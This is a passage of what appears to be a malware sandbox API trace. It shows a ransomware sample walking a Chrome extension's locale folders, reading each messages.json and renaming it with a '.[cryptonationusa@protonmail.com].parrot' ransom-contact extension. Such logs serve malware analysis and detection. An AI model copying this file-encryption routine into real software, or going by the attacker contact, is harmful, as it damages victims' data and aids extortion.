lpFindFileData=0x18dafc) returned 0x600650 [0069.901] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0069.901] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85217f70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85217f70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85217f70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.901] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0069.901] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0069.901] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85217f70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85218f10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0069.901] LockFile (hFile=0x1fc, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1cb, nNumberOfBytesToLockHigh=0x0) returned 1 [0069.901] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0069.901] ReadFile (in: hFile=0x1fc, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0069.902] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.902] ReadFile (in: hFile=0x1fc, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xb3, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xb3, lpOverlapped=0x0) returned 1 [0069.902] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.902] UnlockFile (hFile=0x1fc, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1cb, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0069.902] CloseHandle (hObject=0x1fc) returned 1 [0069.903] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\en\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\en\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\en\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\en\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0069.903] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0330 | out: hHeap=0x5b0000) returned 1 [0069.903] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x691f80 | out: hHeap=0x5b0000) returned 1 [0069.903] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0070 | out: hHeap=0x5b0000) returned 1 [0069.905] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\en\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0069.905] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85217f70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb724c040, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb724c040, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.905] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85217f70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85218f10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb724c040, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0069.905] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\es\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0069.905] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0069.905] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85217f70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8523e0d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8523e0d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.905] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0069.906] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0069.906] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8523e0d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8523d900, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0069.906] LockFile (hFile=0x1fc, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1cb, nNumberOfBytesToLockHigh=0x0) returned 1 [0069.906] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0069.906] ReadFile (in: hFile=0x1fc, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0069.907] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.907] ReadFile (in: hFile=0x1fc, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xb3, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xb3, lpOverlapped=0x0) returned 1 [0069.907] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.907] UnlockFile (hFile=0x1fc, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1cb, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0069.907] CloseHandle (hObject=0x1fc) returned 1 [0069.907] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\es\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\es\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\es\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\es\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0069.908] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0330 | out: hHeap=0x5b0000) returned 1 [0069.908] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x691f80 | out: hHeap=0x5b0000) returned 1 [0069.908] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0070 | out: hHeap=0x5b0000) returned 1 [0069.909] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\es\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0069.909] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85217f70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb72721a0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb72721a0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.909] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8523e0d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8523d900, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb72721a0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0069.909] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fi\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0069.911] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0069.911] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8523e0d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8523e0d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8523e0d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.911] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0069.911] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0069.911] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8523e0d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8523d900, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0069.912] LockFile (hFile=0x1fc, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1cb, nNumberOfBytesToLockHigh=0x0) returned 1 [0069.912] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0069.912] ReadFile (in: hFile=0x1fc, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0069.913] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.913] ReadFile (in: hFile=0x1fc, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xb3, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xb3, lpOverlapped=0x0) returned 1 [0069.913] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.913] UnlockFile (hFile=0x1fc, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1cb, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0069.913] CloseHandle (hObject=0x1fc) returned 1 [0069.913] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fi\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fi\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fi\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0069.914] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0330 | out: hHeap=0x5b0000) returned 1 [0069.914] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x691f80 | out: hHeap=0x5b0000) returned 1 [0069.914] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0070 | out: hHeap=0x5b0000) returned 1 [0069.915] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fi\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0069.915] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8523e0d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb72721a0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb72721a0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.915] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8523e0d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8523d900, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb72721a0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0069.915] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fil\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0069.916] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0069.916] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8523e0d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8523e0d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8523e0d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.916] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0069.916] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0069.916] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8523e0d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8523d900, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0069.916] LockFile (hFile=0x1fc, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1cb, nNumberOfBytesToLockHigh=0x0) returned 1 [0069.916] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0069.916] ReadFile (in: hFile=0x1fc, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0069.917] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.917] ReadFile (in: hFile=0x1fc, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xb3, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xb3, lpOverlapped=0x0) returned 1 [0069.917] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.918] UnlockFile (hFile=0x1fc, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1cb, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0069.918] CloseHandle (hObject=0x1fc) returned 1 [0069.918] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fil\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fil\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fil\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fil\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0069.918] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0330 | out: hHeap=0x5b0000) returned 1 [0069.918] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x691f80 | out: hHeap=0x5b0000) returned 1 [0069.918] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0070 | out: hHeap=0x5b0000) returned 1 [0069.920] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fil\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0069.920] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8523e0d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb72721a0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb72721a0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.920] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8523e0d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8523d900, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb72721a0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0069.920] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fr\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0069.922] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0069.922] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8523e0d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8523e0d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8523e0d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.922] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0069.922] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0069.922] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8523e0d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8523d900, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0069.922] LockFile (hFile=0x1fc, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1cb, nNumberOfBytesToLockHigh=0x0) returned 1 [0069.922] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0069.923] ReadFile (in: hFile=0x1fc, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0069.923] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.924] ReadFile (in: hFile=0x1fc, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xb3, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xb3, lpOverlapped=0x0) returned 1 [0069.924] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.924] UnlockFile (hFile=0x1fc, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, 